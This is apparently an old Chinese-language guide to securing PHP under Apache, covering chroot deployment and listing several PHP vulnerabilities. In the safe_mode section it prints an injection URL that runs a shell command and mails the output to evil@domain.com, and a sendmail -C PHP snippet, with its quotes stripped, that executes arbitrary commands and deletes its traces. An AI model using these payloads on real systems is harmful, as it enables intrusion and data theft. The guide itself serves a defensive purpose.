PHP安全配置之实现安全的两个重点
安全
一、Web服务器安全
PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。
二、PHP本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高.
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:
执行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com
这将id执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:
#注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样:
$script=/tmp/script123;
$cf=/tmp/cf123;
$fd = fopen($cf, w);
fwrite($fd, OQ/tmp
Sparse=0
R$* . chr(9) . $#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script);
fclose($fd);
$fd = fopen($script, w);
fwrite($fd, rm -f $script $cf; );
fwrite($fd, $cmd);
fclose($fd);
mail(nobody, , , , -C$cf);
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

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